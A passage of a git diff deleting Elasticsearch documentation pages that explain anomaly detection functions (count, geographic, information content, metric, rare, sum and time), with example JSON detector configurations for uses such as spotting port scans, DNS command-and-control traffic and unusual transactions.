-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing events with the count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example1
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "count"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-This example is probably the simplest possible analysis. It identifies
-time buckets during which the overall count of events is higher or lower than
-usual.
-
-When you use this function in a detector in your {anomaly-job}, it models the
-event rate and detects when the event rate is unusual compared to its past
-behavior.
-
-.Example 2: Analyzing errors with the high_count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example2
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "high_count",
-      "by_field_name" : "error_code",
-      "over_field_name": "user"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-If you use this `high_count` function in a detector in your {anomaly-job}, it
-models the event rate for each error code. It detects users that generate an
-unusually high count of error codes compared to other users.
-
-
-.Example 3: Analyzing status codes with the low_count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example3
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "low_count",
-      "by_field_name" : "status_code"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-In this example, the function detects when the count of events for a
-status code is lower than usual.
-
-When you use this function in a detector in your {anomaly-job}, it models the
-event rate for each status code and detects when a status code has an unusually
-low count compared to its past behavior.
-
-.Example 4: Analyzing aggregated data with the count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example4
-{
-  "analysis_config": {
-    "summary_count_field_name" : "events_per_min",
-    "detectors": [{
-      "function" : "count"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}  
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-If you are analyzing an aggregated `events_per_min` field, do not use a sum
-function (for example, `sum(events_per_min)`). Instead, use the count function
-and the `summary_count_field_name` property. For more information, see 
-<<ml-configuring-aggregation>>.
-
-[discrete]
-[[ml-nonzero-count]]
-== Non_zero_count, high_non_zero_count, low_non_zero_count
-
-The `non_zero_count` function detects anomalies when the number of events in a
-bucket is anomalous, but it ignores cases where the bucket count is zero. Use
-this function if you know your data is sparse or has gaps and the gaps are not
-important.
-
-The `high_non_zero_count` function detects anomalies when the number of events
-in a bucket is unusually high and it ignores cases where the bucket count is
-zero.
-
-The `low_non_zero_count` function detects anomalies when the number of events in
-a bucket is unusually low and it ignores cases where the bucket count is zero.
-
-These functions support the following properties:
-
-* `by_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the 
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-For example, if you have the following number of events per bucket:
-
-========================================
-
-1,22,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,43,31,0,0,0,0,0,0,0,0,0,0,0,0,2,1
-
-========================================
-
-The `non_zero_count` function models only the following data:
-
-========================================
-
-1,22,2,43,31,2,1
-
-========================================
-
-.Example 5: Analyzing signatures with the high_non_zero_count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example5
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "high_non_zero_count",
-      "by_field_name" : "signaturename"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-If you use this `high_non_zero_count` function in a detector in your
-{anomaly-job}, it models the count of events for the `signaturename` field. It
-ignores any buckets where the count is zero and detects when a `signaturename`
-value has an unusually high count of events compared to its past behavior.
-
-NOTE: Population analysis (using an `over_field_name` property value) is not
-supported for the `non_zero_count`, `high_non_zero_count`, and
-`low_non_zero_count` functions. If you want to do population analysis and your
-data is sparse, use the `count` functions, which are optimized for that scenario.
-
-
-[discrete]
-[[ml-distinct-count]]
-== Distinct_count, high_distinct_count, low_distinct_count
-
-The `distinct_count` function detects anomalies where the number of distinct
-values in one field is unusual.
-
-The `high_distinct_count` function detects unusually high numbers of distinct
-values in one field.
-
-The `low_distinct_count` function detects unusually low numbers of distinct
-values in one field.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the 
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 6: Analyzing users with the distinct_count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example6
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "distinct_count",
-      "field_name" : "user"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-This `distinct_count` function detects when a system has an unusual number
-of logged in users. When you use this function in a detector in your
-{anomaly-job}, it models the distinct count of users. It also detects when the
-distinct number of users is unusual compared to the past.
-
-.Example 7: Analyzing ports with the high_distinct_count function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example7
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "high_distinct_count",
-      "field_name" : "dst_port",
-      "over_field_name": "src_ip"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-This example detects instances of port scanning. When you use this function in a
-detector in your {anomaly-job}, it models the distinct count of ports. It also
-detects the `src_ip` values that connect to an unusually high number of different
-`dst_ports` values compared to other `src_ip` values.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-functions.asciidoc
deleted file mode 100644
index b0481001dd5..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-functions.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[role="xpack"]
-[[ml-functions]]
-= Function reference
-
-The {ml-features} include analysis functions that provide a wide variety of
-flexible ways to analyze data for anomalies.
-
-When you create {anomaly-jobs}, you specify one or more detectors, which define
-the type of analysis that needs to be done. If you are creating your job by
-using {ml} APIs, you specify the functions in detector configuration objects.
-If you are creating your job in {kib}, you specify the functions differently
-depending on whether you are creating single metric, multi-metric, or advanced
-jobs.
-
-Most functions detect anomalies in both low and high values. In statistical
-terminology, they apply a two-sided test. Some functions offer low and high
-variations (for example, `count`, `low_count`, and `high_count`). These variations
-apply one-sided tests, detecting anomalies only when the values are low or
-high, depending one which alternative is used.
-
-You can specify a `summary_count_field_name` with any function except `metric`.
-When you use `summary_count_field_name`, the {ml} features expect the input
-data to be pre-aggregated. The value of the `summary_count_field_name` field
-must contain the count of raw events that were summarized. In {kib}, use the
-**summary_count_field_name** in advanced {anomaly-jobs}. Analyzing aggregated
-input data provides a significant boost in performance. For more information, see
-<<ml-configuring-aggregation>>.
-
-If your data is sparse, there may be gaps in the data which means you might have
-empty buckets. You might want to treat these as anomalies or you might want these
-gaps to be ignored. Your decision depends on your use case and what is important
-to you. It also depends on which functions you use. The `sum` and `count`
-functions are strongly affected by empty buckets. For this reason, there are
-`non_null_sum` and `non_zero_count` functions, which are tolerant to sparse data.
-These functions effectively ignore empty buckets.
-
-* <<ml-count-functions>>
-* <<ml-geo-functions>>
-* <<ml-info-functions>>
-* <<ml-metric-functions>>
-* <<ml-rare-functions>>
-* <<ml-sum-functions>>
-* <<ml-time-functions>>
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-geo-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-geo-functions.asciidoc
deleted file mode 100644
index 68ab3261fc9..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-geo-functions.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[role="xpack"]
-[[ml-geo-functions]]
-= Geographic functions
-
-The geographic functions detect anomalies in the geographic location of the
-input data.
-
-The {ml-features} include the following geographic function: `lat_long`.
-
-NOTE: You cannot create forecasts for {anomaly-jobs} that contain geographic
-functions. You also cannot add rules with conditions to detectors that use
-geographic functions. 
-
-[discrete]
-[[ml-lat-long]]
-== Lat_long
-
-The `lat_long` function detects anomalies in the geographic location of the
-input data.
-
-This function supports the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the 
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing transactions with the lat_long function
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/example1
-{
-  "analysis_config": {
-    "detectors": [{
-      "function" : "lat_long",
-      "field_name" : "transactionCoordinates",
-      "by_field_name" : "creditCardNumber"
-    }]
-  },
-  "data_description": {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-If you use this `lat_long` function in a detector in your {anomaly-job}, it
-detects anomalies where the geographic location of a credit card transaction is
-unusual for a particular customer’s credit card. An anomaly might indicate fraud.
-
-IMPORTANT: The `field_name` that you supply must be a single string that contains
-two comma-separated numbers of the form `latitude,longitude`, a `geo_point` field,
-a `geo_shape` field that contains point values, or a `geo_centroid` aggregation.
-The `latitude` and `longitude` must be in the range -180 to 180 and represent a
-point on the surface of the Earth.
-
-For example, JSON data might contain the following transaction coordinates:
-
-[source,js]
---------------------------------------------------
-{
-  "time": 1460464275,
-  "transactionCoordinates": "40.7,-74.0",
-  "creditCardNumber": "1234123412341234"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-In {es}, location data is likely to be stored in `geo_point` fields. For more
-information, see {ref}/geo-point.html[Geo-point data type]. This data type is
-supported natively in {ml-features}. Specifically, {dfeed} when pulling data from
-a `geo_point` field, will transform the data into the appropriate `lat,lon` string
-format before sending to the {anomaly-job}.
-
-For more information, see <<ml-configuring-transform>>.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-info-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-info-functions.asciidoc
deleted file mode 100644
index 81d8c740044..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-info-functions.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
-[[ml-info-functions]]
-= Information Content Functions
-
-The information content functions detect anomalies in the amount of information
-that is contained in strings within a bucket. These functions can be used as
-a more sophisticated method to identify incidences of data exfiltration or
-C2 (Command and Control) activity, when analyzing the size in bytes of the data might not be sufficient.
-
-The {ml-features} include the following information content functions:
-
-* `info_content`, `high_info_content`, `low_info_content`
-
-[discrete]
-[[ml-info-content]]
-== Info_content, High_info_content, Low_info_content
-
-The `info_content` function detects anomalies in the amount of information that
-is contained in strings in a bucket.
-
-If you want to monitor for unusually high amounts of information,
-use `high_info_content`.
-If want to look at drops in information content, use `low_info_content`.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing subdomain strings with the info_content function
-[source,js]
---------------------------------------------------
-{
-  "function" : "info_content",
-  "field_name" : "subdomain",
-  "over_field_name" : "highest_registered_domain"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `info_content` function in a detector in your {anomaly-job}, it
-models information that is present in the `subdomain` string. It detects
-anomalies where the information content is unusual compared to the other
-`highest_registered_domain` values. An anomaly could indicate an abuse of the
-DNS protocol, such as malicious command and control activity.
-
-NOTE: In this example, both high and low values are considered anomalous.
-In many use cases, the `high_info_content` function is often a more appropriate
-choice.
-
-.Example 2: Analyzing query strings with the high_info_content function
-[source,js]
---------------------------------------------------
-{
-  "function" : "high_info_content",
-  "field_name" : "query",
-  "over_field_name" : "src_ip"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `high_info_content` function in a detector in your {anomaly-job},
-it models information content that is held in the DNS query string. It detects
-`src_ip` values where the information content is unusually high compared to
-other `src_ip` values. This example is similar to the example for the
-`info_content` function, but it reports anomalies only where the amount of
-information content is higher than expected.
-
-.Example 3: Analyzing message strings with the low_info_content function
-[source,js]
---------------------------------------------------
-{
-  "function" : "low_info_content",
-  "field_name" : "message",
-  "by_field_name" : "logfilename"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `low_info_content` function in a detector in your {anomaly-job},
-it models information content that is present in the message string for each
-`logfilename`. It detects anomalies where the information content is low
-compared to its past behavior. For example, this function detects unusually low
-amounts of information in a collection of rolling log files. Low information
-might indicate that a process has entered an infinite loop or that logging
-features have been disabled.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-metric-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-metric-functions.asciidoc
deleted file mode 100644
index e009da0050e..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-metric-functions.asciidoc
+++ /dev/null
@@ -1,326 +0,0 @@
-[role="xpack"]
-[[ml-metric-functions]]
-= Metric functions
-
-The metric functions include functions such as mean, min and max. These values
-are calculated for each bucket. Field values that cannot be converted to
-double precision floating point numbers are ignored.
-
-The {ml-features} include the following metric functions:
-
-* <<ml-metric-min,`min`>>
-* <<ml-metric-max,`max`>>
-* xref:ml-metric-median[`median`, `high_median`, `low_median`]
-* xref:ml-metric-mean[`mean`, `high_mean`, `low_mean`]
-* <<ml-metric-metric,`metric`>>
-* xref:ml-metric-varp[`varp`, `high_varp`, `low_varp`]
-
-NOTE: You cannot add rules with conditions to detectors that use the `metric` 
-function. 
-
-[discrete]
-[[ml-metric-min]]
-== Min
-
-The `min` function detects anomalies in the arithmetic minimum of a value.
-The minimum value is calculated for each bucket.
-
-High- and low-sided functions are not applicable.
-
-This function supports the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing minimum transactions with the min function
-[source,js]
---------------------------------------------------
-{
-  "function" : "min",
-  "field_name" : "amt",
-  "by_field_name" : "product"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `min` function in a detector in your {anomaly-job}, it detects
-where the smallest transaction is lower than previously observed. You can use
-this function to detect items for sale at unintentionally low prices due to data
-entry mistakes. It models the minimum amount for each product over time.
-
-[discrete]
-[[ml-metric-max]]
-== Max
-
-The `max` function detects anomalies in the arithmetic maximum of a value.
-The maximum value is calculated for each bucket.
-
-High- and low-sided functions are not applicable.
-
-This function supports the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 2: Analyzing maximum response times with the max function
-[source,js]
---------------------------------------------------
-{
-  "function" : "max",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `max` function in a detector in your {anomaly-job}, it detects
-where the longest `responsetime` is longer than previously observed. You can use
-this function to detect applications that have `responsetime` values that are
-unusually lengthy. It models the maximum `responsetime` for each application
-over time and detects when the longest `responsetime` is unusually long compared
-to previous applications.
-
-.Example 3: Two detectors with max and high_mean functions
-[source,js]
---------------------------------------------------
-{
-  "function" : "max",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-},
-{
-  "function" : "high_mean",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The analysis in the previous example can be performed alongside `high_mean`
-functions by application. By combining detectors and using the same influencer
-this job can detect both unusually long individual response times and average
-response times for each bucket.
-
-[discrete]
-[[ml-metric-median]]
-== Median, high_median, low_median
-
-The `median` function detects anomalies in the statistical median of a value.
-The median value is calculated for each bucket.
-
-If you want to monitor unusually high median values, use the `high_median`
-function.
-
-If you are just interested in unusually low median values, use the `low_median`
-function.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 4: Analyzing response times with the median function
-[source,js]
---------------------------------------------------
-{
-  "function" : "median",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `median` function in a detector in your {anomaly-job}, it models
-the median `responsetime` for each application over time. It detects when the
-median `responsetime` is unusual compared to previous `responsetime` values.
-
-[discrete]
-[[ml-metric-mean]]
-== Mean, high_mean, low_mean
-
-The `mean` function detects anomalies in the arithmetic mean of a value.
-The mean value is calculated for each bucket.
-
-If you want to monitor unusually high average values, use the `high_mean`
-function.
-
-If you are just interested in unusually low average values, use the `low_mean`
-function.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 5: Analyzing response times with the mean function
-[source,js]
---------------------------------------------------
-{
-  "function" : "mean",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `mean` function in a detector in your {anomaly-job}, it models
-the mean `responsetime` for each application over time. It detects when the mean
-`responsetime` is unusual compared to previous `responsetime` values.
-
-.Example 6: Analyzing response times with the high_mean function
-[source,js]
---------------------------------------------------
-{
-  "function" : "high_mean",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `high_mean` function in a detector in your {anomaly-job}, it
-models the mean `responsetime` for each application over time. It detects when
-the mean `responsetime` is unusually high compared to previous `responsetime`
-values.
-
-.Example 7: Analyzing response times with the low_mean function
-[source,js]
---------------------------------------------------
-{
-  "function" : "low_mean",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `low_mean` function in a detector in your {anomaly-job}, it
-models the mean `responsetime` for each application over time. It detects when
-the mean `responsetime` is unusually low compared to previous `responsetime`
-values.
-
-[discrete]
-[[ml-metric-metric]]
-== Metric
-
-The `metric` function combines `min`, `max`, and `mean` functions. You can use
-it as a shorthand for a combined analysis. If you do not specify a function in
-a detector, this is the default function.
-
-High- and low-sided functions are not applicable. You cannot use this function
-when a `summary_count_field_name` is specified.
-
-This function supports the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 8: Analyzing response times with the metric function
-[source,js]
---------------------------------------------------
-{
-  "function" : "metric",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `metric` function in a detector in your {anomaly-job}, it models
-the mean, min, and max `responsetime` for each application over time. It detects
-when the mean, min, or max `responsetime` is unusual compared to previous
-`responsetime` values.
-
-[discrete]
-[[ml-metric-varp]]
-== Varp, high_varp, low_varp
-
-The `varp` function detects anomalies in the variance of a value which is a
-measure of the variability and spread in the data.
-
-If you want to monitor unusually high variance, use the `high_varp` function.
-
-If you are just interested in unusually low variance, use the `low_varp` function.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 9: Analyzing response times with the varp function
-[source,js]
---------------------------------------------------
-{
-  "function" : "varp",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `varp` function in a detector in your {anomaly-job}, it models
-the variance in values of `responsetime` for each application over time. It
-detects when the variance in `responsetime` is unusual compared to past
-application behavior.
-
-.Example 10: Analyzing response times with the high_varp function
-[source,js]
---------------------------------------------------
-{
-  "function" : "high_varp",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `high_varp` function in a detector in your {anomaly-job}, it
-models the variance in values of `responsetime` for each application over time.
-It detects when the variance in `responsetime` is unusual compared to past
-application behavior.
-
-.Example 11: Analyzing response times with the low_varp function
-[source,js]
---------------------------------------------------
-{
-  "function" : "low_varp",
-  "field_name" : "responsetime",
-  "by_field_name" : "application"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `low_varp` function in a detector in your {anomaly-job}, it
-models the variance in values of `responsetime` for each application over time.
-It detects when the variance in `responsetime` is unusual compared to past
-application behavior.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-rare-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-rare-functions.asciidoc
deleted file mode 100644
index f0a788698a3..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-rare-functions.asciidoc
+++ /dev/null
@@ -1,137 +0,0 @@
-[role="xpack"]
-[[ml-rare-functions]]
-= Rare functions
-
-The rare functions detect values that occur rarely in time or rarely for a
-population.
-
-The `rare` analysis detects anomalies according to the number of distinct rare
-values. This differs from `freq_rare`, which detects anomalies according to the
-number of times (frequency) rare values occur.
-
-[NOTE]
-====
-* The `rare` and `freq_rare` functions should not be used in conjunction with
-`exclude_frequent`.
-* You cannot create forecasts for {anomaly-jobs} that contain `rare` or
-`freq_rare` functions. 
-* You cannot add rules with conditions to detectors that use `rare` or 
-`freq_rare` functions. 
-* Shorter bucket spans (less than 1 hour, for example) are recommended when
-looking for rare events. The functions model whether something happens in a
-bucket at least once. With longer bucket spans, it is more likely that
-entities will be seen in a bucket and therefore they appear less rare.
-Picking the ideal bucket span depends on the characteristics of the data
-with shorter bucket spans typically being measured in minutes, not hours.
-* To model rare data, a learning period of at least 20 buckets is required
-for typical data.
-====
-
-The {ml-features} include the following rare functions:
-
-* <<ml-rare,`rare`>>
-* <<ml-freq-rare,`freq_rare`>>
-
-
-[discrete]
-[[ml-rare]]
-== Rare
-
-The `rare` function detects values that occur rarely in time or rarely for a
-population. It detects anomalies according to the number of distinct rare values.
-
-This function supports the following properties:
-
-* `by_field_name` (required)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing status codes with the rare function
-[source,js]
---------------------------------------------------
-{
-  "function" : "rare",
-  "by_field_name" : "status"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `rare` function in a detector in your {anomaly-job}, it detects
-values that are rare in time. It models status codes that occur over time and
-detects when rare status codes occur compared to the past. For example, you can
-detect status codes in a web access log that have never (or rarely) occurred
-before.
-
-.Example 2: Analyzing status codes in a population with the rare function
-[source,js]
---------------------------------------------------
-{
-  "function" : "rare",
-  "by_field_name" : "status",
-  "over_field_name" : "clientip"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `rare` function in a detector in your {anomaly-job}, it detects
-values that are rare in a population. It models status code and client IP
-interactions that occur. It defines a rare status code as one that occurs for
-few client IP values compared to the population. It detects client IP values
-that experience one or more distinct rare status codes compared to the
-population. For example in a web access log, a `clientip` that experiences the
-highest number of different rare status codes compared to the population is
-regarded as highly anomalous. This analysis is based on the number of different
-status code values, not the count of occurrences.
-
-NOTE: To define a status code as rare the {ml-features} look at the number
-of distinct status codes that occur, not the number of times the status code
-occurs. If a single client IP experiences a single unique status code, this
-is rare, even if it occurs for that client IP in every bucket.
-
-[discrete]
-[[ml-freq-rare]]
-== Freq_rare
-
-The `freq_rare` function detects values that occur rarely for a population.
-It detects anomalies according to the number of times (frequency) that rare
-values occur.
-
-This function supports the following properties:
-
-* `by_field_name` (required)
-* `over_field_name` (required)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 3: Analyzing URI values in a population with the freq_rare function
-[source,js]
---------------------------------------------------
-{
-  "function" : "freq_rare",
-  "by_field_name" : "uri",
-  "over_field_name" : "clientip"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `freq_rare` function in a detector in your {anomaly-job}, it
-detects values that are frequently rare in a population. It models URI paths and
-client IP interactions that occur. It defines a rare URI path as one that is
-visited by few client IP values compared to the population. It detects the
-client IP values that experience many interactions with rare URI paths compared
-to the population. For example in a web access log, a client IP that visits
-one or more rare URI paths many times compared to the population is regarded as
-highly anomalous. This analysis is based on the count of interactions with rare
-URI paths, not the number of different URI path values.
-
-
-NOTE: Defining a URI path as rare happens the same way as you can see in the 
-case of the status codes above: the analytics consider the number of distinct 
-values that occur and not the number of times the URI path occurs. If a single 
-client IP visits a single unique URI path, this is rare, even if it
-occurs for that client IP in every bucket.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-sum-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-sum-functions.asciidoc
deleted file mode 100644
index ec0d30365d6..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-sum-functions.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
-[role="xpack"]
-[[ml-sum-functions]]
-= Sum functions
-
-The sum functions detect anomalies when the sum of a field in a bucket is
-anomalous.
-
-If you want to monitor unusually high totals, use high-sided functions.
-
-If want to look at drops in totals, use low-sided functions.
-
-If your data is sparse, use `non_null_sum` functions. Buckets without values are
-ignored; buckets with a zero value are analyzed.
-
-The {ml-features} include the following sum functions:
-
-* xref:ml-sum[`sum`, `high_sum`, `low_sum`]
-* xref:ml-nonnull-sum[`non_null_sum`, `high_non_null_sum`, `low_non_null_sum`]
-
-[discrete]
-[[ml-sum]]
-== Sum, high_sum, low_sum
-
-The `sum` function detects anomalies where the sum of a field in a bucket is
-anomalous.
-
-If you want to monitor unusually high sum values, use the `high_sum` function.
-
-If you want to monitor unusually low sum values, use the `low_sum` function.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing total expenses with the sum function
-[source,js]
---------------------------------------------------
-{
-  "function" : "sum",
-  "field_name" : "expenses",
-  "by_field_name" : "costcenter",
-  "over_field_name" : "employee"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `sum` function in a detector in your {anomaly-job}, it
-models total expenses per employees for each cost center. For each time bucket,
-it detects when an employee’s expenses are unusual for a cost center compared
-to other employees.
-
-.Example 2: Analyzing total bytes with the high_sum function
-[source,js]
---------------------------------------------------
-{
-  "function" : "high_sum",
-  "field_name" : "cs_bytes",
-  "over_field_name" : "cs_host"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `high_sum` function in a detector in your {anomaly-job}, it
-models total `cs_bytes`. It detects `cs_hosts` that transfer unusually high
-volumes compared to other `cs_hosts`. This example looks for volumes of data
-transferred from a client to a server on the internet that are unusual compared
-to other clients. This scenario could be useful to detect data exfiltration or
-to find users that are abusing internet privileges.
-
-[discrete]
-[[ml-nonnull-sum]]
-== Non_null_sum, high_non_null_sum, low_non_null_sum
-
-The `non_null_sum` function is useful if your data is sparse. Buckets without
-values are ignored and buckets with a zero value are analyzed.
-
-If you want to monitor unusually high totals, use the `high_non_null_sum`
-function.
-
-If you want to look at drops in totals, use the `low_non_null_sum` function.
-
-These functions support the following properties:
-
-* `field_name` (required)
-* `by_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-NOTE: Population analysis (that is to say, use of the `over_field_name` property)
-is not applicable for this function.
-
-.Example 3: Analyzing employee approvals with the high_non_null_sum function
-[source,js]
---------------------------------------------------
-{
-  "function" : "high_non_null_sum",
-  "fieldName" : "amount_approved",
-  "byFieldName" : "employee"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `high_non_null_sum` function in a detector in your {anomaly-job},
-it models the total `amount_approved` for each employee. It ignores any buckets
-where the amount is null. It detects employees who approve unusually high
-amounts compared to their past behavior.
diff --git a/docs/reference/ml/anomaly-detection/functions/ml-time-functions.asciidoc b/docs/reference/ml/anomaly-detection/functions/ml-time-functions.asciidoc
deleted file mode 100644
index 997566e4856..00000000000
--- a/docs/reference/ml/anomaly-detection/functions/ml-time-functions.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[role="xpack"]
-[[ml-time-functions]]
-= Time functions
-
-The time functions detect events that happen at unusual times, either of the day
-or of the week. These functions can be used to find unusual patterns of behavior,
-typically associated with suspicious user activity.
-
-The {ml-features} include the following time functions:
-
-* <<ml-time-of-day,`time_of_day`>>
-* <<ml-time-of-week,`time_of_week`>>
-
-
-[NOTE]
-====
-* NOTE: You cannot create forecasts for {anomaly-jobs} that contain time
-functions. 
-* The `time_of_day` function is not aware of the difference between days, for
-instance work days and weekends. When modeling different days, use the
-`time_of_week` function. In general, the `time_of_week` function is more suited
-to modeling the behavior of people rather than machines, as people vary their
-behavior according to the day of the week.
-* Shorter bucket spans (for example, 10 minutes) are recommended when performing
